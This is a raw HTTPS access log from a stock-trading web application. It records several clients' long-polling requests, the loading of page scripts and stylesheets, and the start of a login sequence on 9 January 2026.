[09/Jan/2026:13:25:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936607129 HTTP/1.1" -
[09/Jan/2026:13:25:39 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936606605 HTTP/1.1" -
[09/Jan/2026:13:25:41 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936626497 HTTP/1.1" -
[09/Jan/2026:13:25:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936612193 HTTP/1.1" -
[09/Jan/2026:13:25:44 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936611670 HTTP/1.1" -
[09/Jan/2026:13:25:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/main.html?language=tc&version=HTML HTTP/1.1" 3578
[09/Jan/2026:13:25:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/ui.datepicker.css HTTP/1.1" 1145
[09/Jan/2026:13:25:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aastock.js HTTP/1.1" 553
[09/Jan/2026:13:25:46 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936631521 HTTP/1.1" -
[09/Jan/2026:13:25:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-theme.blue.css HTTP/1.1" 2083
[09/Jan/2026:13:25:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:13:25:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/dragtable-2.0.9.css HTTP/1.1" 316
[09/Jan/2026:13:25:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.ba-postmessage.js HTTP/1.1" 2990
[09/Jan/2026:13:25:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:13:25:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-1.6.3.min.js HTTP/1.1" 32057
[09/Jan/2026:13:25:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.css HTTP/1.1" 5283
[09/Jan/2026:13:25:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cache.js?jsv=20200819161914 HTTP/1.1" 940
[09/Jan/2026:13:25:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/atmosphere.js HTTP/1.1" 13461
[09/Jan/2026:13:25:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.js HTTP/1.1" 69642
[09/Jan/2026:13:25:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0.js HTTP/1.1" 6651
[09/Jan/2026:13:25:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:13:25:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:13:25:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:13:25:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.mousewheel-3.1.4.js HTTP/1.1" 822
[09/Jan/2026:13:25:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-2.14.5.js HTTP/1.1" 8901
[09/Jan/2026:13:25:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter.widgets-2.14.5.js HTTP/1.1" 8611
[09/Jan/2026:13:25:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:13:25:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.combobox.packed.js HTTP/1.1" 3387
[09/Jan/2026:13:25:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:13:25:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/date.js HTTP/1.1" 2807
[09/Jan/2026:13:25:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.selectboxes.pack.js HTTP/1.1" 1640
[09/Jan/2026:13:25:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:13:25:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/globalize-0.1.0a1.js HTTP/1.1" 6984
[09/Jan/2026:13:25:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:13:25:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/json/json2.js?jsv=20200819161914 HTTP/1.1" 1372
[09/Jan/2026:13:25:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/settings/crm_display_settings.js?jsv=20200819161914 HTTP/1.1" 1781
[09/Jan/2026:13:25:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:13:25:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:13:25:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:13:25:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:13:25:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:13:25:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:13:25:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161914 HTTP/1.1" 1017
[09/Jan/2026:13:25:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/corporate.js?jsv=20200819161914 HTTP/1.1" 1575
[09/Jan/2026:13:25:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_mdf.js?jsv=20200819161914 HTTP/1.1" 856
[09/Jan/2026:13:25:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_hkex.js?jsv=20200819161914 HTTP/1.1" 2300
[09/Jan/2026:13:25:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_bshare.js?jsv=20200819161914 HTTP/1.1" 1567
[09/Jan/2026:13:25:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/main.js?jsv=20200819161914 HTTP/1.1" 30725
[09/Jan/2026:13:25:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_ashare.js?jsv=20200819161914 HTTP/1.1" 2482
[09/Jan/2026:13:25:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_global.js?jsv=20200819161914 HTTP/1.1" 1564
[09/Jan/2026:13:25:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/account.js?jsv=20200819161914 HTTP/1.1" 2656
[09/Jan/2026:13:25:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cash_transfer.js?jsv=20200819161914 HTTP/1.1" 2712
[09/Jan/2026:13:25:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/ipo.js?jsv=20200819161914 HTTP/1.1" 5726
[09/Jan/2026:13:25:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/spread_cache.js?jsv=20200819161914 HTTP/1.1" 908
[09/Jan/2026:13:25:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mm.js?jsv=20200819161914 HTTP/1.1" 487
[09/Jan/2026:13:25:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/isec_calculator.js?jsv=20200819161914 HTTP/1.1" 1364
[09/Jan/2026:13:25:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction.js?jsv=20200819161914 HTTP/1.1" 2178
[09/Jan/2026:13:25:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction_IMOS.js?jsv=20200819161914 HTTP/1.1" 6874
[09/Jan/2026:13:25:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161914 HTTP/1.1" 272
[09/Jan/2026:13:25:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/eStatement.js?jsv=20200819161914 HTTP/1.1" 562
[09/Jan/2026:13:25:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161914 HTTP/1.1" 982
[09/Jan/2026:13:25:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/GoodTillDateValidExch?fmt=js&jsv=20200819161914 HTTP/1.1" 29
[09/Jan/2026:13:25:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/ExchangeList?fmt=js&jsv=20200819161914 HTTP/1.1" 146
[09/Jan/2026:13:25:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161914 HTTP/1.1" 1206
[09/Jan/2026:13:25:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161914 HTTP/1.1" 2043
[09/Jan/2026:13:25:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161914 HTTP/1.1" 2106
[09/Jan/2026:13:25:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161914 HTTP/1.1" 3099
[09/Jan/2026:13:25:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161914 HTTP/1.1" 1730
[09/Jan/2026:13:25:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jsbn.js?jsv=20200819161914 HTTP/1.1" 6736
[09/Jan/2026:13:25:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/sha256.js?jsv=20200819161914 HTTP/1.1" 1362
[09/Jan/2026:13:25:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/prng4.js?jsv=20200819161914 HTTP/1.1" 303
[09/Jan/2026:13:25:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rng.js?jsv=20200819161914 HTTP/1.1" 481
[09/Jan/2026:13:25:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsa.js?jsv=20200819161914 HTTP/1.1" 1658
[09/Jan/2026:13:25:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes.js?jsv=20200819161914 HTTP/1.1" 4816
[09/Jan/2026:13:25:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/utilSpec.js?jsv=20200819161914 HTTP/1.1" 27
[09/Jan/2026:13:25:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mode-ecb.js?jsv=20200819161914 HTTP/1.1" 199
[09/Jan/2026:13:25:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_lastlogin.js?jsv=20200819161914 HTTP/1.1" 980
[09/Jan/2026:13:25:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pw_alert.js?jsv=20200819161914 HTTP/1.1" 418
[09/Jan/2026:13:25:47 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.jscrollpane.js HTTP/1.1" 685
[09/Jan/2026:13:25:47 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.mousewheel.js HTTP/1.1" 684
[09/Jan/2026:13:25:47 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.cookie.js HTTP/1.1" 834
[09/Jan/2026:13:25:47 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/css/jquery.jscrollpane.css HTTP/1.1" 690
[09/Jan/2026:13:25:47 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/decimal.js HTTP/1.1" 13492
[09/Jan/2026:13:25:47 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01.jpg HTTP/1.1" 3466
[09/Jan/2026:13:25:47 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/logo.png HTTP/1.1" 7042
[09/Jan/2026:13:25:47 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu_logout.jpg HTTP/1.1" 1016
[09/Jan/2026:13:25:47 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/css/jquery.jscrollpane.css HTTP/1.1" 690
[09/Jan/2026:13:25:47 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu04.jpg HTTP/1.1" 3430
[09/Jan/2026:13:25:47 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg3.jpg HTTP/1.1" 878
[09/Jan/2026:13:25:47 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg2.jpg HTTP/1.1" 330
[09/Jan/2026:13:25:47 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg1.jpg HTTP/1.1" 329
[09/Jan/2026:13:25:47 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /favicon.ico HTTP/1.1" 196
[09/Jan/2026:13:25:47 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PopUpConfig HTTP/1.1" 89
[09/Jan/2026:13:25:47 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767936622612 HTTP/1.1" 3188
[09/Jan/2026:13:25:47 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 15
[09/Jan/2026:13:25:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:25:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:25:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936617326 HTTP/1.1" -
[09/Jan/2026:13:25:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/login.html HTTP/1.1" 1755
[09/Jan/2026:13:25:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CustomerInfoLite HTTP/1.1" 131
[09/Jan/2026:13:25:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:13:25:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:25:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:13:25:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:13:25:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:13:25:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:13:25:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:13:25:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0.js HTTP/1.1" 6651
[09/Jan/2026:13:25:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:13:25:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:13:25:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-personalized-1.6rc2.min.js HTTP/1.1" 55543
[09/Jan/2026:13:25:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:13:25:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:13:25:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:13:25:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:13:25:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:13:25:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161914 HTTP/1.1" 1017
[09/Jan/2026:13:25:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:13:25:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:13:25:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161914 HTTP/1.1" 1684
[09/Jan/2026:13:25:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/version.js?jsv=20200819161914 HTTP/1.1" 85
[09/Jan/2026:13:25:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161914 HTTP/1.1" 272
[09/Jan/2026:13:25:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161914 HTTP/1.1" 1206
[09/Jan/2026:13:25:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161914 HTTP/1.1" 2106
[09/Jan/2026:13:25:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161914 HTTP/1.1" 982
[09/Jan/2026:13:25:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161914 HTTP/1.1" 2043
[09/Jan/2026:13:25:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161914 HTTP/1.1" 3099
[09/Jan/2026:13:25:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161914 HTTP/1.1" 1730
[09/Jan/2026:13:25:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rng.js?jsv=20200819161914 HTTP/1.1" 481
[09/Jan/2026:13:25:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/prng4.js?jsv=20200819161914 HTTP/1.1" 303
[09/Jan/2026:13:25:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/sha256.js?jsv=20200819161914 HTTP/1.1" 1362
[09/Jan/2026:13:25:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsa.js?jsv=20200819161914 HTTP/1.1" 1658
[09/Jan/2026:13:25:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jsbn.js?jsv=20200819161914 HTTP/1.1" 6736
[09/Jan/2026:13:25:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/bg_login.jpg HTTP/1.1" 29296
[09/Jan/2026:13:25:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/favicon.ico HTTP/1.1" 682
[09/Jan/2026:13:25:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767936624197 HTTP/1.1" 3188
[09/Jan/2026:13:25:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:13:25:49 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936616974 HTTP/1.1" -
[09/Jan/2026:13:25:49 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CheckIsEnableRSA HTTP/1.1" 1
[09/Jan/2026:13:25:49 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CheckPwEncryptType HTTP/1.1" -
[09/Jan/2026:13:25:49 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
